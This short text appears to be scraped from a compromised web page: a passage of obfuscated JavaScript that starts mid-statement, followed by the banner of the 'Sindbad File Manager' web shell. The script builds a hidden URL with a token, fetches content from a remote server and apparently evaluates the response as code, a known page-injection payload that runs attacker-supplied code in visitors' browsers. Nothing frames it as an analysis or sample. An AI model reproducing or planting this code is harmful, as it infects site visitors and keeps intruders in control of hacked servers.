HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists